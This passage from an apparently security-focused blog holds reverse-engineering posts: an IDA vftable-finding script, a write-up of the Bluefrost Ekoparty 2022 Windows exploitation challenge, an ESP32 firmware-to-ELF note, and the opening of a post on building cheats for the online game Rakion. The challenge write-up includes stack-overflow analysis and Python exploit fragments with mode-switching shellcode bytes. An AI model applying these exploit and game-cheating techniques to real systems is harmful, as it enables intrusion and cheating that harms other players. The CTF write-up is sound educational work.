                  <span class="o">-</span> <span class="n">RTTICompleteObjectLocator</span><span class="p">().</span><span class="n">offsetof</span><span class="p">(</span><span class="s">'type_descriptor'</span><span class="p">)</span>
             <span class="n">rtti_col_mangled_name</span> <span class="o">=</span> <span class="n">idaapi</span><span class="p">.</span><span class="n">get_name</span><span class="p">(</span><span class="n">rtti_col_addr</span><span class="p">)</span>

             <span class="c1"># detect whole RTTICompleteObjectLocator and save them
</span>             <span class="k">if</span> <span class="n">rtti_col_mangled_name</span><span class="p">.</span><span class="n">startswith</span><span class="p">(</span><span class="n">MS_ABI_RTTI_COL_PREFIX</span><span class="p">):</span>
                 <span class="bp">self</span><span class="p">.</span><span class="n">rtti_col_list</span><span class="p">.</span><span class="n">append</span><span class="p">((</span><span class="n">rtti_col_addr</span><span class="p">,</span> <span class="n">rtti_col_mangled_name</span><span class="p">))</span>
</code></pre></div>    </div>
  </li>
  <li>Get whole <code class="language-plaintext highlighter-rouge">vftables</code> adding the <code class="language-plaintext highlighter-rouge">RTTICompleteObjectLocator</code> address + <code class="language-plaintext highlighter-rouge">sizeof(void*)</code>
    <div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code>     <span class="k">for</span> <span class="n">rtti_col</span> <span class="ow">in</span> <span class="bp">self</span><span class="p">.</span><span class="n">rtti_col_list</span><span class="p">:</span>
         <span class="n">rtti_col_xrefs</span> <span class="o">=</span> <span class="n">helper</span><span class="p">.</span><span class="n">get_xrefs_to</span><span class="p">(</span><span class="n">rtti_col</span><span class="p">[</span><span class="mi">0</span><span class="p">])</span>

         <span class="k">for</span> <span class="n">rtti_col_xref_addr</span> <span class="ow">in</span> <span class="n">rtti_col_xrefs</span><span class="p">:</span>
             <span class="c1"># the vftable are next to RTTICOL
</span>             <span class="n">vftable_addr</span> <span class="o">=</span> <span class="n">rtti_col_xref_addr</span> <span class="o">+</span> <span class="n">const</span><span class="p">.</span><span class="n">EA_SIZE</span>
             <span class="n">vftable_mangled_name</span> <span class="o">=</span> <span class="n">idaapi</span><span class="p">.</span><span class="n">get_name</span><span class="p">(</span><span class="n">vftable_addr</span><span class="p">)</span>
                
             <span class="c1"># detect whole vftables and save them
</span>             <span class="k">if</span> <span class="n">vftable_mangled_name</span><span class="p">.</span><span class="n">startswith</span><span class="p">(</span><span class="n">MS_ABI_VFTABLE_PREFIX</span><span class="p">):</span>
                 <span class="bp">self</span><span class="p">.</span><span class="n">vftable_list</span><span class="p">.</span><span class="n">append</span><span class="p">((</span><span class="n">vftable_addr</span><span class="p">,</span> <span class="n">vftable_mangled_name</span><span class="p">))</span>
</code></pre></div>    </div>
  </li>
  <li>Output
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[IDACode] Executing d:\c++_research\rtti_parser\rtti_parser.py
const std::bad_alloc::`vftable' at 0x1400032c8
const std::exception::`vftable' at 0x140003298
const std::bad_array_new_length::`vftable' at 0x1400032f0
const type_info::`vftable' at 0x140003278
const B::`vftable' at 0x140003358
</code></pre></div>    </div>
    <h2 id="future-work">Future work</h2>
    <p>There is a case where doesn’t exist Run-Time Information Type but vftables are used, and I would like to handle that case. Furthermore, get the inherintance relationship hierarchy.</p>
  </li>
</ol>

<blockquote>
  <p>Written by <a href="https://twitter.com/MrNox_"><strong>Nox</strong></a></p>
</blockquote>]]></content><author><name>Nox</name></author><category term="en" /><category term="reversing" /><summary type="html"><![CDATA[Finding vftables using type_info class from MS C++ RTTI]]></summary></entry><entry xml:lang="en"><title type="html">Bluefrost windows exploitation challenge for Ekoparty 2022</title><link href="https://blog.rop.la/en/reversing/2022/11/20/bfs-windows-exploitation-ekoparty-2022.html" rel="alternate" type="text/html" title="Bluefrost windows exploitation challenge for Ekoparty 2022" /><published>2022-11-20T05:00:00+00:00</published><updated>2022-11-20T05:00:00+00:00</updated><id>https://blog.rop.la/en/reversing/2022/11/20/bfs-windows-exploitation-ekoparty-2022</id><content type="html" xml:base="https://blog.rop.la/en/reversing/2022/11/20/bfs-windows-exploitation-ekoparty-2022.html"><![CDATA[<p>This challenge was made by <a href="https://twitter.com/NicoEconomou">@NicolasEconomou</a> for Ekoparty 2022, and I really enjoyed trying to solve that challenge. The challenge is a vulnerable server allowing us to send it data and control the server buffer size leading to a stack buffer overflow. There are some trivial bugs, but they only are a bait for the real way to exploit it, crafted a stack layout for the <code class="language-plaintext highlighter-rouge">iret</code> instruction.</p>

<!--more-->

<p>This challenge reserved memory at address <code class="language-plaintext highlighter-rouge">0x10000000</code> as a buffer used to store data sent by client. In every connection, that buffer is sanatized with <code class="language-plaintext highlighter-rouge">pops eax</code>, <code class="language-plaintext highlighter-rouge">pushs eax</code> and  <code class="language-plaintext highlighter-rouge">iretd</code>. Furthermore, the server waits a packet with a header, with a field used as the server buffer size at address <code class="language-plaintext highlighter-rouge">0x10000000</code>, that field is a signed short type so if I write <code class="language-plaintext highlighter-rouge">-1 (0xFFFF)</code> I’ll can pass the if statement <code class="language-plaintext highlighter-rouge">if ( hdr.pkt_size &gt; 0xF00 )</code>, controlling the size of <code class="language-plaintext highlighter-rouge">recv(a1, buf, (unsigned __int16)hdr.pkt_size, 0);</code>, and lead a buffer overflow stack base in <code class="language-plaintext highlighter-rouge">memcpy_with_filters(local_buffer, buf, lena);</code>.</p>

<p>You can see it here:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  <span class="n">pkt_id</span> <span class="o">=</span> <span class="n">hdr</span><span class="p">.</span><span class="n">pkt_id</span><span class="p">;</span>
  <span class="k">if</span> <span class="p">(</span> <span class="n">hdr</span><span class="p">.</span><span class="n">pkt_id</span> <span class="o">!=</span> <span class="mh">0x54</span> <span class="p">)</span>
    <span class="k">return</span> <span class="nf">printf</span><span class="p">(</span><span class="s">"  [-] Invalid packet type</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
  <span class="c1">// signed</span>
  <span class="k">if</span> <span class="p">(</span> <span class="n">hdr</span><span class="p">.</span><span class="n">pkt_size</span> <span class="o">&gt;</span> <span class="mh">0xF00</span> <span class="p">)</span>
    <span class="k">return</span> <span class="nf">printf</span><span class="p">(</span><span class="s">"  [-] Invalid packet size</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
  <span class="n">lena</span> <span class="o">=</span> <span class="n">recv</span><span class="p">(</span><span class="n">a1</span><span class="p">,</span> <span class="n">buf</span><span class="p">,</span> <span class="p">(</span><span class="kt">unsigned</span> <span class="kr">__int16</span><span class="p">)</span><span class="n">hdr</span><span class="p">.</span><span class="n">pkt_size</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
  <span class="n">printf</span><span class="p">(</span><span class="s">" [+] Data received: %i bytes</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">lena</span><span class="p">);</span>
  <span class="n">memcpy_with_filters</span><span class="p">(</span><span class="n">buffer</span><span class="p">,</span> <span class="n">buf</span><span class="p">,</span> <span class="n">lena</span><span class="p">);</span>
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">pkt_id</code> is a local variable below of <code class="language-plaintext highlighter-rouge">local_buffer</code> in the stack layout, then overflowing <code class="language-plaintext highlighter-rouge">local_buffer</code> I can overwrite in <code class="language-plaintext highlighter-rouge">pkt_id</code> with <code class="language-plaintext highlighter-rouge">0x58</code> value and trigger:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  <span class="k">if</span> <span class="p">(</span> <span class="n">pkt_id</span> <span class="o">==</span> <span class="mh">0x58</span> <span class="p">)</span>
  <span class="p">{</span>
    <span class="n">off_7FF7DC4BC000</span> <span class="o">=</span> <span class="p">(</span><span class="n">__int64</span> <span class="p">(</span><span class="kr">__fastcall</span> <span class="o">*</span><span class="p">)(</span><span class="n">_QWORD</span><span class="p">))</span><span class="o">&amp;</span><span class="n">buf</span><span class="p">[</span><span class="n">lena</span><span class="p">];</span>
    <span class="k">return</span> <span class="n">off_7FF7DC4BC000</span><span class="p">(</span><span class="n">buffer</span><span class="p">);</span>
  <span class="p">}</span>
</code></pre></div></div>

<p>That call jump to <code class="language-plaintext highlighter-rouge">pops eax</code>, and after execute them the stack layout has my data:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>0:000&gt; u
00000000`10000f08 58              pop     rax
00000000`10000f09 58              pop     rax
00000000`10000f0a 58              pop     rax
00000000`10000f0b 58              pop     rax
00000000`10000f0c 58              pop     rax
00000000`10000f0d 58              pop     rax
00000000`10000f0e 58              pop     rax
00000000`10000f0f cf              iretd
0:000&gt; t;r
00000000`10000f09 58              pop     rax
0:000&gt; 
00000000`10000f0a 58              pop     rax
0:000&gt; 
00000000`10000f0b 58              pop     rax
0:000&gt; 
00000000`10000f0c 58              pop     rax
0:000&gt; 
00000000`10000f0d 58              pop     rax
0:000&gt; 
00000000`10000f0e 58              pop     rax
0:000&gt; 
00000000`10000f0f cf              iretd
0:000&gt; dq rsp
00000000`012fe8f0  41414141`41414141 41414141`41414141
00000000`012fe900  41414141`41414141 41414141`41414141
00000000`012fe910  41414141`41414141 41414141`41414141
00000000`012fe920  41414141`41414141 41414141`41414141
00000000`012fe930  41414141`41414141 41414141`41414141
00000000`012fe940  41414141`41414141 41414141`41414141
00000000`012fe950  41414141`41414141 41414141`41414141
00000000`012fe960  41414141`41414141 41414141`41414141
</code></pre></div></div>

<p>In the beginning, I didn’t understand why the <code class="language-plaintext highlighter-rouge">iretd</code> instruccion was there because I remembered that instruction is used only in <code class="language-plaintext highlighter-rouge">CPL=0</code>. I didn’t find other path to exploit the challenge so I went back to this point again I noticed that I was wrong, so I looked for what <code class="language-plaintext highlighter-rouge">iretd</code> instruction does, and found that is possible to use it in <code class="language-plaintext highlighter-rouge">CPL=3</code>.</p>

<p>AMD manuals says us<sup id="fnref:1" role="doc-noteref"><a href="#fn:1" class="footnote" rel="footnote">1</a></sup>:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>IRET_PROTECTED:

[...]

POP.v temp_RIP
POP.v temp_CS
POP.v temp_RFLAGS

[...]

IF ((64BIT_MODE) || (changing_CPL))
 POP.v temp_RSP // in 64-bit mode or changing CPL, IRET always pops SS:RSP
 POP.v temp_SS
</code></pre></div></div>

<p>Anyway, the instruction is <code class="language-plaintext highlighter-rouge">iretd</code>, not <code class="language-plaintext highlighter-rouge">iretq</code>, so I need to made the layout taking into account that the operand size is 32-bit.</p>

<p>The challenge has badchars, <code class="language-plaintext highlighter-rouge">0x2b</code> and <code class="language-plaintext highlighter-rouge">0x33</code>. Those bytes have a sense because <code class="language-plaintext highlighter-rouge">0x33</code> is the code segment selector in 64-bit mode of OS operation, so the autor’s idea is that my exploit should jump to <a href="https://en.wikipedia.org/wiki/X86-64#Operating_modes">compatibility mode</a> (32-bit protected-mode). About <code class="language-plaintext highlighter-rouge">0x2b</code> byte, it is used as a segment selector for DS, ES, and SS registers because its base is NULL, and it’s ignored only in 64-bit mode creating a flat 64-bit linear-address space. For 32-bit, I need to a valid segment selector in SS register like <code class="language-plaintext highlighter-rouge">0x2b</code>, so Nico forces us to lookup another valid one.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>32.1: kd&gt; dg @ss
                                                    P Si Gr Pr Lo
Sel        Base              Limit          Type    l ze an es ng Flags
---- ----------------- ----------------- ---------- - -- -- -- -- --------
002B 00000000`00000000 00000000`ffffffff Data RW Ac 3 Bg Pg P  Nl 00000cf3
</code></pre></div></div>

<p>A segment selector has an index for the Descriptor Table (GDT/LDT), it contains segment descriptors, and it provides the size and location of the segment<sup id="fnref:2" role="doc-noteref"><a href="#fn:2" class="footnote" rel="footnote">2</a></sup>. I dumped GDT but only there are few valid, and an only one that works for an user-mode context execution. I noticed that FS register has <code class="language-plaintext highlighter-rouge">0x53</code> value, and that segment selector is valid to be used by SS.</p>

<p>Let’s review this:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>32.1: kd:x86&gt; r @gdtr
The context is partially valid. Only x86 user-mode context is available.
gdtr=00000000
32.1: kd:x86&gt; !wow64exts.sw	
The context is partially valid. Only x86 user-mode context is available.
Switched to Host mode
32.1: kd&gt; r @gdtr
gdtr=ffff890065ff8fb0
32.1: kd&gt; r
rax=000000000000000a rbx=00000000010cc000 rcx=000000007677f2e0
rdx=000000000148040a rsi=0000000001481fa0 rdi=0000000001482940
rip=0000000000e5101b rsp=00000000012ffb20 rbp=00000000012ffb64
 r8=000000000000002b  r9=00000000776d1dbc r10=0000000000000000
r11=0000000000000246 r12=00000000010cd000 r13=0000000000f1fda0
r14=0000000000f1edd0 r15=0000000077653620
iopl=0         nv up ei pl zr na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
</code></pre></div></div>

<p>From FS, I can get the index of the global descriptor table.
<img src="/assets/img/202211/segment-selector.png" alt="Segment selector" class="image fit" /></p>

<p>FS: <code class="language-plaintext highlighter-rouge">0x53</code>, index <code class="language-plaintext highlighter-rouge">0xa</code>, GDT: <code class="language-plaintext highlighter-rouge">ffff890065ff8fb0</code></p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>32.1: kd&gt; ? 0x53 &gt;&gt; 3
Evaluate expression: 10 = 00000000`0000000a
32.1: kd&gt; dd ffff890065ff8fb0 + a*8 l2
002b:ffff8900`65ff9000  f0007c00 0140f30c
</code></pre></div></div>

<p>Segment descriptor is a 8 bytes long as follow
<img src="/assets/img/202211/segment-descriptor.png" alt="Segment descriptor" class="image fit" /></p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>32.1: kd&gt; ? (f0007c00 &gt;&gt; 0n16) | ((0140f30c &amp; 0xFF) &lt;&lt; 0n16)  | (0140f30c &amp; 0xFF000000)
Evaluate expression: 17625088 = 00000000`010cf000
32.1: kd&gt; ? (f0007c00 &amp; 0xFFFF) | ((0140f30c &gt;&gt; 0n16) &amp; 0xF)
Evaluate expression: 31744 = 00000000`00007c00
32.1: kd&gt; dg @fs
                                                    P Si Gr Pr Lo
Sel        Base              Limit          Type    l ze an es ng Flags
---- ----------------- ----------------- ---------- - -- -- -- -- --------
0053 00000000`010cf000 00000000`00007c00 Data RW Ac 3 Bg By P  Nl 000004f3
</code></pre></div></div>

<p>Adding whole I said before, made the right layout for the <code class="language-plaintext highlighter-rouge">iret</code> instruction.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">ctx_switch_64to32</span> <span class="o">=</span> <span class="p">[</span>
	<span class="n">p32</span><span class="p">(</span><span class="mh">0x10000000</span><span class="p">),</span>		<span class="c1"># RIP
</span>	<span class="n">p32</span><span class="p">(</span><span class="mh">0x23</span><span class="p">),</span>				  <span class="c1"># CS (switch to x86)
</span>	<span class="n">p32</span><span class="p">(</span><span class="mh">0x246</span><span class="p">),</span>				  <span class="c1"># EFLAGS
</span>	<span class="n">p32</span><span class="p">(</span><span class="mh">0x10000000</span> <span class="o">+</span> <span class="mh">0x800</span><span class="p">),</span> <span class="c1"># RSP
</span>	<span class="n">p32</span><span class="p">(</span><span class="mh">0x53</span><span class="p">)</span>				 		<span class="c1"># SS
</span><span class="p">]</span>

</code></pre></div></div>

<p>Now, after some tests, I noticed that the best way it’s return to 64-bit mode from compatibility mode (Intel’s manual called IA32-e mode). On Windows exists Wow64 (Windows 32-bit on Windows 64-bit), and it’s an interface where the execution begins from compatibility mode to 64-bit mode through a <code class="language-plaintext highlighter-rouge">far jump</code>.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>0:000&gt; u ntdll!NtResumeThread
ntdll!NtResumeThread:
77cf50a0 b852000700      mov     eax,70052h
77cf50a5 ba208fd177      mov     edx,offset ntdll!Wow64SystemServiceCall (77d18f20)
77cf50aa ffd2            call    edx
77cf50ac c20800          ret     8
0:000&gt; u ntdll!Wow64SystemServiceCall l1
ntdll!Wow64SystemServiceCall:
77d18f20 ff2520c2da77    jmp     dword ptr [ntdll!Wow64Transition (77dac220)]
0:000&gt; dd 77dac220 l1
77dac220  77c76000
0:000&gt; dt _TEB -y wow
ntdll!_TEB
   +0x0c0 WOW32Reserved : Ptr32 Void
   +0xfdc WowTebOffset : Int4B0:000&gt; dd fs:[0xC0] l1
0053:000000c0  77c76000 
0:000&gt; u 77c76000 l1
77c76000 ea0960c7773300  jmp     0033:77C76009
</code></pre></div></div>

<p>Then, I can use the <code class="language-plaintext highlighter-rouge">far jump</code> to go back to 64-bit mode and execute my shellcode or use the iret instruction again to return to 64-bit mode, but it’s important to fix the stack segment selector before.</p>

<p>why?</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>0:000&gt; g;r
(7860.3ea4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000001 ebx=10000000 ecx=c817f888 edx=00000000 esi=00000000 edi=1684c220
eip=10000001 esp=10000800 ebp=00000000 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=0053  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
10000001 c74424102b000000 mov     dword ptr [esp+10h],2Bh ss:0053:10000810=????????
</code></pre></div></div>

<p>To fix the SS register, only need to move the value <code class="language-plaintext highlighter-rouge">0x2b</code> to SS and then the exploit can switch to 64-bit.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">ctx_switch_32to64_jmp</span> <span class="o">=</span> <span class="p">[</span>
	<span class="c1"># jmp far 033:address
</span>	<span class="sa">b</span><span class="s">'</span><span class="se">\xea</span><span class="s">'</span><span class="p">,</span>          <span class="c1"># jmp far
</span>	<span class="n">p32</span><span class="p">(</span><span class="mh">0x10000000</span><span class="p">),</span>  <span class="c1"># address
</span>	<span class="sa">b</span><span class="s">'</span><span class="se">\x33\x00</span><span class="s">'</span>       <span class="c1"># CS
</span><span class="p">]</span>
<span class="n">ctx_switch_32to64_jmp</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="n">p32</span><span class="p">(</span><span class="mh">0x10000000</span> <span class="o">+</span> 
                <span class="nb">len</span><span class="p">(</span><span class="sa">b</span><span class="s">''</span><span class="p">.</span><span class="n">join</span><span class="p">(</span><span class="n">ctx_switch_64to32</span><span class="p">))</span> <span class="o">+</span>
                <span class="nb">len</span><span class="p">(</span><span class="sa">b</span><span class="s">''</span><span class="p">.</span><span class="n">join</span><span class="p">(</span><span class="n">ctx_switch_32to64_jmp</span><span class="p">))</span>
								<span class="p">)</span>

<span class="n">ctx_switch_32to64_iret</span> <span class="o">=</span> <span class="p">[</span>
	<span class="c1">##### x86
</span>
	<span class="c1"># fix stack segment
</span>	<span class="sa">b</span><span class="s">'</span><span class="se">\xb8</span><span class="s">'</span> <span class="o">+</span> <span class="n">p32</span><span class="p">(</span><span class="mh">0x2b</span><span class="p">),</span> <span class="c1"># mov eax, 2bh
</span>	<span class="sa">b</span><span class="s">'</span><span class="se">\x8e\xd0</span><span class="s">'</span><span class="p">,</span>         <span class="c1"># mov ss, ax
</span>	<span class="sa">b</span><span class="s">'</span><span class="se">\x90</span><span class="s">'</span><span class="p">,</span>             <span class="c1"># nop
</span>	
	<span class="sa">b</span><span class="s">'</span><span class="se">\x6a\x2b</span><span class="s">'</span><span class="p">,</span>         <span class="c1"># push 2bh
</span>	<span class="sa">b</span><span class="s">'</span><span class="se">\x68</span><span class="s">'</span> <span class="o">+</span> <span class="n">p32</span><span class="p">(</span><span class="mh">0x10000000</span> <span class="o">+</span> <span class="mh">0x800</span><span class="p">),</span> <span class="c1"># push 1000800h
</span>	<span class="sa">b</span><span class="s">'</span><span class="se">\x68</span><span class="s">'</span> <span class="o">+</span> <span class="n">p32</span><span class="p">(</span><span class="mh">0x246</span><span class="p">),</span> <span class="c1"># push 46h -&gt; EFLAGS
</span>	<span class="sa">b</span><span class="s">'</span><span class="se">\x6a\x33</span><span class="s">'</span><span class="p">,</span>          <span class="c1"># push 33h -&gt; CS
</span>	<span class="sa">b</span><span class="s">'</span><span class="se">\xe8</span><span class="s">'</span> <span class="o">+</span> <span class="n">p32</span><span class="p">(</span><span class="mi">0</span><span class="p">),</span>     <span class="c1"># call $+5
</span>	<span class="sa">b</span><span class="s">'</span><span class="se">\x83\x04\x24\x05</span><span class="s">'</span><span class="p">,</span>  <span class="c1"># add dword ptr [esp], 5 -&gt; EIP: jump to fix_stack_addr
</span>	<span class="sa">b</span><span class="s">'</span><span class="se">\xcf</span><span class="s">'</span><span class="p">,</span>              <span class="c1"># iretd
</span>
<span class="p">]</span>

<span class="n">pkg</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">''</span><span class="p">.</span><span class="n">join</span><span class="p">(</span><span class="n">ctx_switch_32to64_jmp</span><span class="p">)</span> <span class="k">if</span> <span class="n">USE_JMPFAR</span> <span class="k">else</span> <span class="sa">b</span><span class="s">''</span><span class="p">.</span><span class="n">join</span><span class="p">(</span><span class="n">ctx_switch_32to64_iret</span><span class="p">)</span>

</code></pre></div></div>

<p>And that’s it. I really enjoy this, because I needed to read the AMD/Intel manuals as my beginnings in RE. You can find my full exploit in my <a href="https://github.com/MrNox/CTF/tree/master/2022/bfs-eko2022/win">github</a>.</p>

<blockquote>
  <p>Written by <a href="https://twitter.com/MrNox_"><strong>Nox</strong></a></p>
</blockquote>

<div class="footnotes" role="doc-endnotes">
  <ol>
    <li id="fn:1" role="doc-endnote">
      <p>Return from Interrupt - AMD64 Architecture Programmer’s Manual, Volume 3: General-Purpose and System Instructions. <a href="#fnref:1" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
    <li id="fn:2" role="doc-endnote">
      <p>3.4.5 Segment Descriptors -  Intel® 64 and IA-32 Architectures SDM <a href="#fnref:2" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
  </ol>
</div>]]></content><author><name>Nox</name></author><category term="en" /><category term="reversing" /><summary type="html"><![CDATA[My solution for the bluefrost Windows challenge for Ekoparty 2022]]></summary></entry><entry xml:lang="en"><title type="html">An easy way to reconstruct an ESP32 app image to ELF</title><link href="https://blog.rop.la/en/reversing/2022/05/02/an-easy-way-to-reconstruct-an-esp32-app-image-to-elf.html" rel="alternate" type="text/html" title="An easy way to reconstruct an ESP32 app image to ELF" /><published>2022-05-02T05:00:00+00:00</published><updated>2022-05-02T05:00:00+00:00</updated><id>https://blog.rop.la/en/reversing/2022/05/02/an-easy-way-to-reconstruct-an-esp32-app-image-to-elf</id><content type="html" xml:base="https://blog.rop.la/en/reversing/2022/05/02/an-easy-way-to-reconstruct-an-esp32-app-image-to-elf.html"><![CDATA[<p>Three years ago, in a CTF I found a challenge using ESP32 architecture. In that context the time is key, and this blogpost are my notes about how to quickly reconstrut the ESP32 app image challange to an ELF binary.</p>

<!--more-->

<p>A reconstruction from an ESP32 app image to ELF could be trivial with the @lynerc and @<em>nickmiles</em> research. 
They <a href="https://github.com/tenable/esp32_image_parser">made a tool</a> for dumping a firmware of an IoT device ESP32 architecture based, where is necessary to specify from the dump the segment
to reconstruct to an ELF. Of course, whole technical explanation in <a href="https://www.youtube.com/watch?v=swIvvuSBOkw">their talk</a>.</p>

<p>The tool doesn’t reconstruct an app image by default because the dump of an ESP32 firmware has more segments 
and it only handle that dump format. Anyways, with only a few lines we can use that tool to reconstruct an app image to ELF.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">sys</span>
<span class="k">from</span> <span class="n">esp32_image</span> <span class="n">parser</span> <span class="k">import</span> <span class="o">*</span>

<span class="k">print</span> <span class="p">(</span><span class="s">"{} {}"</span><span class="p">.</span><span class="nb">format</span><span class="p">(</span><span class="n">sys</span><span class="p">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="n">sys</span><span class="p">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">2</span><span class="p">]))</span>

<span class="n">input_file</span> <span class="o">=</span> <span class="n">sys</span><span class="p">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span>
<span class="n">output_file</span> <span class="o">=</span> <span class="n">sys</span><span class="p">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">2</span><span class="p">]</span>

<span class="n">image2elf</span><span class="p">(</span><span class="n">input_file</span><span class="p">,</span> <span class="n">output_file</span><span class="p">,</span> <span class="bp">True</span><span class="p">)</span>
</code></pre></div></div>

<p>After that, we can use ghidra to decompile it using an external ghidra processor</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ sudo apt-get install openjdk-11-jdk
$ git clone https://github.com/Ebiroll/ghidra-xtensa xtensa
$ cd xtensa/
$ make
</code></pre></div></div>

<p>And that’s it!</p>

<blockquote>
  <p>Written by <a href="https://twitter.com/MrNox_"><strong>Nox</strong></a></p>
</blockquote>

<p>Follow us on our twitter account <a href="https://twitter.com/rop_la">@rop-la</a>, our public Github repositories <a href="https://github.com/rop-la/">RoP-LA</a> and <a href="https://www.youtube.com/channel/UCg01TfhxLro71ppULtIBAjw">Youtube Channel</a>.</p>]]></content><author><name>Nox</name></author><category term="en" /><category term="reversing" /><summary type="html"><![CDATA[Reconstructing an ESP 32 app image to ELF format binary]]></summary></entry><entry xml:lang="en"><title type="html">Gamehacking: Rakion, the begining</title><link href="https://blog.rop.la/en/reversing/2021/06/09/gamehacking-rakion-my-begining.html" rel="alternate" type="text/html" title="Gamehacking: Rakion, the begining" /><published>2021-06-09T05:00:00+00:00</published><updated>2021-06-09T05:00:00+00:00</updated><id>https://blog.rop.la/en/reversing/2021/06/09/gamehacking-rakion-my-begining</id><content type="html" xml:base="https://blog.rop.la/en/reversing/2021/06/09/gamehacking-rakion-my-begining.html"><![CDATA[<p>Part I: <a href="/en/reversing/2021/06/09/gamehacking-rakion-my-begining.html">Gamehacking: Rakion, the begining</a>
<br />
Parte II: <a href="/en/reversing/2023/02/17/rakion-entities-editing-cell-creatures.html">Rakion: Entities and editing cell creatures</a></p>

<h1 id="some-words-of-my-past">Some words of my past</h1>

<p>When I started in reverse engineering I was in high-school in Peru and with my frieds I played DotA and Rakion. One day a dude started to use a cheat (at that time we called it “hack” :P), after asking him many times he told me where he had downloaded it.</p>

<p>At that moment I started in the world reversing, it was very hard to me because I didn’t know anything about programming, reverse engineer, assembly, even how to use google. Furthermore, starting in the gamehacking world is very hard because there is money involved.</p>

<p>In the forum where I downloaded the cheat, one day a guy shared a really good post about what I’m going to name, “My first cheat”. He said it was their research, but then other people denied it, saying it was someone else’s work that he had appropriated. While there was a fight of egos in that forum, for me it was the beginning of my world in reverse engineering.</p>

<p>Several years have passed and I want to technically tell you how I started and what cheats for Rakion I did.</p>

<!--more-->

<h2 id="introduction">Introduction</h2>

<p>The main goal to start cheating any MMORPG or similar games is to find the entity player, because usually it will be found inside a bigger structure and/or reference to another ones with game player information.</p>

<p>Possibly there will exist at least two entity player (or only one), entity in-lobby player and entity in-game player, of course it depends on the game design. In the entity lobby player we could found player armor (such as helm, gauntlet, cuirass, primary and secondary weapon, rings, etc), summoned creatures and their information (such as the kind and level), inventory, gold (it’s very likely that we cannot modify it because is server-side information), stats, etc. And for the entity in-game player we could found, the character position axis according to the render game model, virtual camera system (such as camera display spectrum of the character, observer camera, graphical perspective camera, etc), type of character, <a href="http://rakion.softnyx.net/GameInfo/BeginnersGuide/Interface.aspx">etc</a>.</p>

<p><a href="https://rakion.fandom.com/wiki/Rakion:_Chaos_Force">Rakion</a> is an 3D MMORPG computer game that has two main DLLs, the first one is <code class="language-plaintext highlighter-rouge">entitiesmp.dll</code> and the second one is <code class="language-plaintext highlighter-rouge">engine.dll</code>. <code class="language-plaintext highlighter-rouge">entitiesmp.dll</code>  has the implementation of character interaction such as its armor, health points (in this game that info is client-side), cell points (points required for cell creature summoning), attacks , etc.  <code class="language-plaintext highlighter-rouge">engine.dll</code> has the implementation of game capabilities or character information such as position axis, enemies position axis, character encryption information, etc. Furthermore, Rakion has a file called <code class="language-plaintext highlighter-rouge">DataSetup.xfs</code> where there is game information such as <a href="https://rakion.fandom.com/wiki/Stage_Maps">stage map</a>, items, cell creatures, etc, and historically it was zlib compressed, <code class="language-plaintext highlighter-rouge">DataSetup.xfs</code> is read when the game is loaded therefore, some malicious modification was reflected in the game (some information is read in runtime such as stage configuration), now (I think) it is encrypted on disk but unencrypted in memory ;).</p>

<h2 id="my-first-cheat"><a href="#my-first-cheat">My first cheat</a></h2>
<p>An “easy cheat” to write in this first blogpost (even was my first cheat ever) is about summoning a <a href="https://rakion.fandom.com/wiki/Cell_Creatures">cell creature</a> for another one, also know as Cell2Cell. <code class="language-plaintext highlighter-rouge">entitiesmp.dll</code> export objects of <code class="language-plaintext highlighter-rouge">CNpc[\w+]_DLLClass</code>, in other words the information of cell creatures are exported and its size is 84 bytes.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>.data:355F0FD0 CNpcNak4_DLLClass dd offset unk_356149AC
.data:355F0FD0                                         ; DATA XREF: .rdata:off_35588D28↑o
.data:355F0FD4                 align 8
.data:355F0FD8                 dd offset unk_356149B0
.data:355F0FDC                 align 10h
.data:355F0FE0                 dd offset unk_355F0FC0
.data:355F0FE4                 db    1
.data:355F0FE5                 db    0
.data:355F0FE6                 db    0
.data:355F0FE7                 db    0
.data:355F0FE8                 dd offset unk_356149D0
.data:355F0FEC                 db    1
.data:355F0FED                 db    0
.data:355F0FEE                 db    0
.data:355F0FEF                 db    0
.data:355F0FF0                 dd offset aNpcnak4      ; "NpcNak4"
.data:355F0FF4                 dd offset Buffer
.data:355F0FF8                 db  73h ; s
